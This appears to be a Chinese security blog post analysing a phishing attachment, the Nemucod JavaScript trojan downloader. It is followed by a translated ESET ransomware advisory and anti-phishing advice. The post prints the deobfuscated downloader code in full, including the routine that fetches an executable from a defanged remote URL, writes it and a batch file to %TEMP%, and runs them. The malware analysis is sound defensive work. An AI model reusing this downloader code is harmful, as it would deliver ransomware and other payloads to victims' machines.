警惕釣魚郵件——近期勒索軟體高發

惡意郵件信息

最近一個外企的客戶反應他們收到了惡意郵件,需要處理一下。經過確認,這是一個簡單的釣魚郵件。郵件來自一個陌生人,郵件正文的意思,有兩種,但是千言萬語彙成一句話,就是請打開附件。看了一下附件,是一個zip壓縮包,裡面包含幾個JavaScript文件。

還好,外企普遍比較重視信息安全一些,也沒人中招,嗯,那就回去分析吧。

樣本分析

首先是解壓縮包,然後比較了一下MD5,發現這幾個文件都一樣。那就隨意選一個開始分析了。

首先看到的就是各種混淆,並且這個樣本居然還有超級長的「//」,怪不得單個JS都516k了,但是壓縮包才不到10k。於是去掉各種混淆,發現,其實這個JS很簡單,作用就是在網上下載一個"*.bat"文件,下載一個"exe"文件,然後執行bat文件。而這個bat的內容很簡單,就是啟動exe,然後退出。

下邊就是這個去掉各種混淆的JS,我加了一點注釋:

var enjoy1 = false;var nConverts0 = "";var batch;var enjoy0 = "CreateObject";///*@cc_on @if (@_win32 || @_win64) batch1 = "5ue4INbItbL.exe"; KUWAIT = "WScript"; enjoy1 = true; nConverts0 = "MLH"; batch = "ResponseB" + "ydo".split().reverse().join(); // batch = "ResponseBody" could = ("noitisop").split().reverse().join(); // could = "position" verlet0 = "eliFoTevaS".split().reverse().join(); // verlet0 = "SaveToFile" could0 = "ADODB"; ARAB1 = "send"; decks = "hxxp://inspireyouths.org/6t789gg"; dummy0 = "Gx45T"; // dummy0 = "GET" @end//@*/if (!(enjoy1 )){ verlet = enjoy1 / 0;} var detail = this[KUWAIT]; var nConverts1 = function dumpy(){ return detail[enjoy0](("fdasfadsfaszxvc", KUWAIT)+".Shell"); // return detail.CreateObject("WScript.Shell"); }(), accumulator0 = 11; var col4Count0 = 1 * (2 - 0); // 2var getElementsByClassName = col4Count0 - (2 + 0) * 1; // 0 function ARAB(insert0){ nConverts1[("@sdf3asdf ", "adfs3.", "R")+ "u" + ("x", "n")](insert0, getElementsByClassName, getElementsByClassName); // nConverts1.Run(0)}; function tempstore(){return enjoy0 ;}; // return CreateObject {var detail0 = "MSXML2.X"+nConverts0+"TTP"; // "MSXML2.XMLHTTP"var col4Count = "open"; // "open" function nConverts(getElementsByClassName0){ getElementsByClassName0[verlet0](nConverts1["ExpandEnvironmentStrings"]("%TEMP%/") + "5ue4INbItbL.exe", 2 * 1); // getElementsByClassName0.["SaveToFile"]( Shell.["ExpandEnvironmentStrings"]("%TEMP%/") + "5ue4INbItbL.exe", 2); // Save file to temp file. return 0;}; if (true){ verlet1 = detail0; // "MSXML2.XMLHTTP" tempstore1 = detail[enjoy0](verlet1); // tempstore1 = detail.CreateObject("MSXML2.XMLHTTP"); var dumpy0 = (-428 + 431)-2; // dumpy0 = 1while (dumpy0) { for (;dumpy0;){ try { if (dumpy0 == 1) { tempstore1[col4Count](dummy0, decks, (true, false)); // XMLHTTP.Open("GET", "http://inspireyouths.org/6t789gg", false); tempstore1[ARAB1](); // XMLHTTP.send(); ARAB0 = "Sleep"; dumpy0 = 2; } detail[ARAB0](120); // Sleep(120); if (tempstore1["readystate"] < 4) continue; dumpy0 = getElementsByClassName; // dumpy0 = 0 function enjoy(dummy) { var tempstore0 = (123, dummy); return tempstore0; }; accumulator = nConverts1["ExpandEnvironmentStrings"]("%TEMP%/") + batch1; // %temp% + "5ue4INbItbL.exe" KUWAIT0 = nConverts1["ExpandEnvironmentStrings"]("%TEMP%/") + "sdaw2.bat"; // %temp% + "sdaw2.bat" dumpy1 = "start "+accumulator+"
exit"
// start ""exe""
exit
verlet1 = decks0 = detail[tempstore()](could0+".Stream"); // verlet1 = detail.CreateObjecte("ADODB.Stream"); verlet1[col4Count](); // verlet1.open; verlet1["type"] = 2; insert = "write"; verlet1["Charset"] = "windows-1251"; verlet1[insert+"Text"](dumpy1 ); // verlet1.WriteText("start "exe" exit"); decks0[could] = 0; // verlet1.position = 0; verlet1[verlet0](KUWAIT0, 2); // verlet1.SaveToFile("%temp% + "sdaw2.bat""); decks0["close"](); verlet1 = decks0 = detail[tempstore()](could0+".Stream"); // verlet1 = detail.CreateObjecte("ADODB.Stream"); verlet1[col4Count](); // verlet1.open; verlet1["type"] = 2; verlet1["Charset"] = "windows-1251"; verlet1[insert+"Text"]("M"); // verlet1.WriteText("M"); decks0[could] = 0; // verlet1.position = 0; nConverts(verlet1); // verlet1.["SaveToFile"]( Shell.["ExpandEnvironmentStrings"]("%TEMP%/")+"5ue4INbItbL.exe", 2); decks0["close"](); verlet1 = decks0 = detail[tempstore()](could0+".Stream"); // verlet1 = detail.CreateObjecte("ADODB.Stream"); verlet1[col4Count](); // verlet1.open; verlet1["type"] = 1; verlet1[insert](tempstore1[batch]); // verlet1.Write(XMLHTTP.ResponseBody) decks0[could] = 727 - 726; // verlet1.position = 1; nConverts(verlet1); // verlet1.["SaveToFile"]( Shell.["ExpandEnvironmentStrings"]("%TEMP%/") + "5ue4INbItbL.exe", 2); decks0["close"](); if (1 && enjoy1 ) ARAB(KUWAIT0); // nConverts1.Run(%temp% + "sdaw2.bat"); } catch(batch0){};};};}}

進一步分析

把樣本放到VirusBook(virusbook.cn)上掃描一下,立即就知道了它就是前段時間ESET提醒過用戶的那個Nemucod(JS/TrojanDownloader.Nemucod)。於是就看了ESET的公告,順便也把它翻譯了一下,放在最下面,謹供參考。

看過了ESET的資料,發現,這些攻擊全部都是針對歪果仁的。那麼,就只給一些外文用戶更新一下IP黑名單了。不過,實際操作時,通過VirusBook,很直觀就發現相關IP綁定了太多域名了,於是只能改為添加相關域名到黑名單,通過VirusBook的可視化分析並結合我自己這裡的其他域名信譽庫,加了3個域名,立即下發到了用戶那裡。

ESET公告

-----------------------------------------------------------------------------------------------

Title:ESET警告一大波感染的E-Mails來襲(2016-03-11)

ESET敬告用戶注意應對一大波感染了惡意附件的郵件。這些附件執行後會下載並運行勒索軟體,而這些勒索軟體會加密受害者電腦上的文件,並向受害者勒索贖金。

這種類型的威脅在歐洲/北美/日本高發,ESET把這些惡意的下載器命名為JS/TrojanDownloader.Nemucod 。

Newmucod(即JS/TrojanDownloader.Nemucod)利用包含zip文件的郵件來廣泛傳播。郵件是以一種非常值得信賴的方式寫的,聲稱是發票,在法院或其他官方文件中出現的通知。攻擊者是試圖讓收到郵件的人去打開附件中的惡意JavaScript,而JavaScript一旦被打開後,就會下載並安裝惡意軟體到受害者的電腦。Newmucod會在網上下載多種其他類型的惡意軟體。

ESET的推廣人員,Peter Stan?ík 說:「Nemucod當前主要下載勒索軟體,例如TeslaCrypt or Locky。它們加密受害者電腦上的數據並勒索贖金。」

TeslaCrypt和Locky都是用類似於金融機構保護在線支付的加密標準來加密的。

怎麼應對此類威脅:

  • 不要打開陌生人發的郵件附件;
  • 提醒那些經常接收外部郵件的同事,比如說財務和HR部門;
  • 定期備份數據。如果感染了,備份可以幫助你恢複數據。外部的光碟或者其他存儲介質最好不要連接到電腦上,避免被Filecoder(另外一種勒索軟體)感染;
  • 定期安裝系統和軟體更新。如果你還在使用Windows XP,強烈建議遷移到其他微軟仍然提供技術支持的Windows操作系統上;
  • 一定要安裝安全軟體,最好保持最新版本。安全廠商會持續發布增加安全功能/特徵的新版本;
  • ESET LiveGrid? Reputation System打開時 ,ESET用戶就會收到保護。這項技術通過主動查殺這些勒索軟體的進程來保證用戶的設備。

-----------------------------------------------------------------------------------------------

總結

ESET說得還是比較靠譜的。我這裡再補充一種情況,有些情況下,某些可執行的附件是必須要打開的,這種情況下,第一殺毒,第二看證書,第三就是跟發件人確認(最重要),做到這三點,基本就不會中招了。

國內的情況還是比較複雜的,說個我自己的故事吧,我記得有次校園招聘用了我的郵箱,然後被那個學校掛在了網上,接下來就開始了我的痛苦生活。幾乎每天都會收到垃圾郵件或者釣魚郵件,比如開發票/轉輪子功/美女圖片請點擊觀看啥的,後來被迫開啟了外部郵箱垃圾郵件過濾模式(我幾乎不與外網郵箱溝通,不太擔心誤報),世界終於清靜了很多。因此在此還要提醒大家,郵箱地址公布出去時最好把其中的某些字元替換一下,避免被機器爬到。


推薦閱讀:

網路安全專欄 反間諜程序軟體是如何運行的
1.35TB超大流量DDoS攻擊 GitHub遭遇memcrashed DDoS放大攻擊
相比Uber的5700萬,趣店100萬學生數據泄露影響面可能更大
Python3學習系列(一):Scrapy在Python3環境下的安裝
歷時兩周,總算把開源堡壘機的坑給填了

TAG:計算機病毒 | 網路安全 | 垃圾郵件 |